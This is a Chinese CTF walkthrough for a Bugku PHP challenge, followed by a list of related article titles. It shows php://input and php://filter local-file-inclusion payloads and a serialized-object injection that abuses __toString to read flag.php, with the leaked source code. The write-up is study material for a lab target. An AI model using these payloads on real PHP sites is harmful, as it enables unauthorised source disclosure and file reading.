题目:http://123.206.87.240:8006/test1/
初识这种题,被坑了挺久,有点难受啊。
打开这个网址得到这样一句话,习惯性的查看源码:


然后发现get方式传递了三个参数:txt、file和password,然后要继续解,就要$user存在,读取的 $user文件内容===welcome to the bugkuctf
$flie要求为hint.php,这边就要用到一个php的知识,挺难理解的,但是还是要用,php://filter和php://input。先介绍下这个东西吧。
php://filter 用于读取源代码并进行base64编码输出,不然会直接当做php代码执行就看不到源代码内容了。
php://input 可以访问请求的原始数据的只读流,将post请求中的数据作为php代码执行。当传进去的参数作为文件名变量去打开文件时,可以将参数php://input,同时post方式进去值作为文件内容,供php代码执行时当做文件内容读取
在CTF中经常使用的是php://filter和php://input,php://filter用于读取源码,php://input用于执行php代码。
简单来说这题就是将指定字符串作为文件传给txt,然后再将user的内容读出来。此时我们就满足了
在这题中,我们就要构造payload来解题,
http://120.24.86.145:8006/test1/index.php?txt=php://input&file=php://filter/read=convert.base64-encode/resource=hint.php&password=
于此同时我们要在bp中拦截下这个包,因为我们要在里面添加postdata:welcome to the bugkuctf.
拦截包:

然后将包发送到Repeator,并更改请求方式为post,写入postdata和刚刚构造的payload:

go一下获得base64加密的源码:

进行解密得到hint.php的源码如下:

<?php  class Flag{//flag.php  public $file;  public function __tostring(){  if(isset($this->file)){  echo file_get_contents($this->file); echo "<br>";return ("good");}  }
}
?>

同样我们可以获得index.php的源码:

<?php
$txt = $_GET["txt"];
$file = $_GET["file"];
$password = $_GET["password"];  if(isset($txt)&&(file_get_contents($txt,'r')==="welcome to the bugkuctf")){  echo "hello friend!<br>";  if(preg_match("/flag/",$file)){ echo "不能现在就给你flag哦";exit();  }else{  include($file);   $password = unserialize($password);  echo $password;  }
}else{  echo "you are not the number of bugku ! ";
}  ?>  <!--
$user = $_GET["txt"];
$file = $_GET["file"];
$pass = $_GET["password"];  if(isset($user)&&(file_get_contents($user,'r')==="welcome to the bugkuctf")){  echo "hello admin!<br>";  include($file); //hint.php
}else{  echo "you are not admin ! ";
}  -->

这边有一个很重要的函数,就是unserialize()。并且在hint.php源码中提示我们有flag.php文件,flag多半在其中。看下index.php里有对file参数的限制不能包含的flag,所以不能直接访问。而在hint.php中有一个flag类,这个类里有一个有__tostring方法,这个方法在对象被引用的时候会自动地执行,也就是说我们可以利用这个方法输出flag.php里的内容。那么我们要怎么创建这样一个对象呢。观察index.php,绕过前面的txt参数后,include($ file); $ password=unserialize($password);echo $password;有这样三句话,首先我们可以利用第一句话include将hint.php引进来,即让参数file=hint.php,则在index.php也就有一个Flag类的定义,最后就要靠password这个参数,我们要让password成为一个Flag类,且password->file=‘flag.php’,这样我们就可以在输出password的时候调用__tostring这个方法了。
做题的时候我看到flag.php我也尝试直接将payload中index.php直接改为flag.php,但是得到的是下面这个乱码:

从index.php中的源码我们应该可以看出应该是不能现在给你们flag哦。。。
所以我们没办法直接读取flag.php源码,只能另想办法,这时候我们要注意上面所说道的源码部分,

这个意思是如果file中包含‘flag’,那么我就会给你退出。然后就要注意else。如果我们file不包含flag,那就会把文件包含进来。之后将password反序列化一下,并输出password的结果,就跟上面讲的那个一样的意思了。我们要了解unserialize()和serialize()反序列化和序列化函数,具体参考:https://www.cnblogs.com/youyoui/p/8610068.html 这个博主写的,感觉写得很好啊。
所以我们要构造一个Flag类型的参数,并把这个参数传给password然后get进去。并且这个file的值要是hint.php(因为要利用hint.php中的函数)。
构造一个序列化后的password,写个脚本利用一下serialize()这个函数。Php脚本如下:

<?php
class Flag{
public $file;
}
$a=new Flag();
$a->file = "flag.php";
$a=serialize($a);
print_r($a);
?>

得到flag.php序列化的结果:
O:4:“Flag”:1:{s:4:“file”;s:8:“flag.php”;}
于是我们构造一个payload进传输:
http://120.24.86.145:8006/test1/?txt=php://input&file=hint.php&password=O:4:“Flag”:1:{s:4:“file”;s:8:“flag.php”;} ,但是别忘了postdata。

获取到flag。
这道题挺需要我们对php的了解和审计代码的能力,学习之路还很漫长,加油吧

CTF-Bugku-welcome to bugkuctf相关推荐

  1. CTF BugKu平台——Crypto篇刷题记录(后续更新)

    CTF BugKu平台--Crypto篇 前言 抄错的字符: /.- 聪明的小羊: ok: [+-<>]: 把猪困在猪圈里: 你喜欢下棋吗: 小山丘的秘密: EN-气泡: 你以为是md5吗 ...

  2. php 伪协议 lfi,php://伪协议(I/O)总能给你惊喜——Bugku CTF-welcome to bugkuctf

    今天一大早BugkuCTF 的welcome to bugkuctf 就给了我一发暴击:完全不会啊...光看源码就发现不知道怎么处理了,于是转向writeup求助.结果发现这是一道非常有营养的题目,赶 ...

  3. 【CTF练习平台】BugkuCTF部分misc writeup

    签到题 扫描二维码关注得到flag 这是一张单纯的图片 拖进notepad,在末尾发现密文 unicode解码得 key{you are right} 隐写 拖进winhex,发现高度不对 修改成11 ...

  4. ctf php 读取flag,BugkuCTF flag.php(反序列化)

    进去后是个登录页面,但是login根本不会跳转,看源码也没提示,但是这道题给了一个提示:hint,那么盲猜应该是一个get参数,因为post不能跳转,那么get总有内容吧,跟上hint参数,随便赋一个 ...

  5. 【CTF bugku 秋名山车神】关于会话脚本、session、正则表达式

    题目描述 题目链接 多刷新几遍,发现一个传参变量value,下边开始解题 解题思路 本题考验脚本能力,手动提交?哼,不存在的 题目多次刷新,出现要提交的参数:value 在这里插入图片描述 这么长的数 ...

  6. CTF | bugku | 秋名山车神

    ''' @Modify Time @Author ------------ ------- 2019/8/31 19:55 laoalo ''' import requests from lxml i ...

  7. 【CTF bugku 备份是个好习惯】关于.bak备份文件,md5绕过

    知识点 常用的备份文件后缀有 .bak, .swp bak是备份文件的扩展名,现在很多软件都会创建备份文件,bak文件是各类软件产生的备份文件.打开bak文件的方法有简单,只需要知道它的生成软件,然后 ...

  8. [Bugku CTF——Pwn] pwn2

    [Bugku CTF--Pwn] pwn2 题目地址:https://ctf.bugku.com/ 额,好久不写这么简单的题目了 利用栈溢出修改返回地址就好, 如果不会就去看看什么是栈溢出 explo ...

  9. [Bugku CTF——Pwn] pwn4

    [Bugku CTF--Pwn] pwn4 题目地址:https://ctf.bugku.com/ 给的提示很清楚,绕过canary保护 那就绕过就好 题目当中有system函数 利用ROPgadge ...

  10. [Bugku CTF——Pwn] pwn1

    [Bugku CTF--Pwn] pwn1 题目地址:https://ctf.bugku.com/ 额, 直接nc连接上,就可以直接得到shell 好水哦,新手玩玩就好,老鸟勿喷 无语凝噎 cat f ...

最新文章

  1. Unsafe工具类的一些实用技巧,通往JVM底层的钥匙
  2. R语言ggplot2可视化:指定标题的坐标轴位置(X轴坐标和Y轴坐标),将图像的标题(title)放置在图像内部的指定位置(customize title positon in plot)
  3. python lowercase_python 的 string.casefold 和 string.lower 方法区别?
  4. vue html绑定数组,VueJs Class 与 Style 绑定 数组语法
  5. SSM实现个人博客-day03
  6. LiveVideoStack线上交流分享 ( 六 ) —— VP9 Scalable Video Coding
  7. 面向对象编程学习5月7日-5月23日 网络直播yii-外企使用最多的PHP框架
  8. 密立根油滴实验的计算机仿真实验报告,H-D光谱实验的计算机仿真
  9. mcq 队列_人工智能搜索问题能力问题解答(MCQ)
  10. python 网页爬虫作业调度_第3次作业-MOOC学习笔记:Python网络爬虫与信息提取
  11. (工作中)Apache常见配置
  12. 开课吧:OOM常见的解决方案有哪些?
  13. 用hadoop运行一个简单程序WordCount
  14. Python索引设置
  15. 相约2021,回首2020 | 我在CSDN的年度总结
  16. 战争游戏红龙mod简介
  17. Wireshark抓取网易音乐的下载地址
  18. 遥感影像识别-成像合成
  19. js实现身份证号码验证
  20. python虚假评论识别程序_还在刷虚假评论?小心了,可以检测虚假评论的第三方工具来了...

热门文章

  1. html表格中单元格的合并
  2. uni 横向tab切换+list 实现tab切换长列表
  3. Android-ViewFlipper(图片轮播 和 手势控制 实例)
  4. python commands_[转载]python - Commands模块 - 使用方法
  5. PS 更换证件照背景色
  6. java jsp+servlet+mysql实现登录网页设计
  7. 白炽灯、日光灯和led灯的区别
  8. python爬虫工程师认证证书报考条件_Python爬虫工程师要具备怎样的技能
  9. html段落取消首行缩进,HTML段落首行缩进
  10. 《Python语言程序设计》——函数习题练习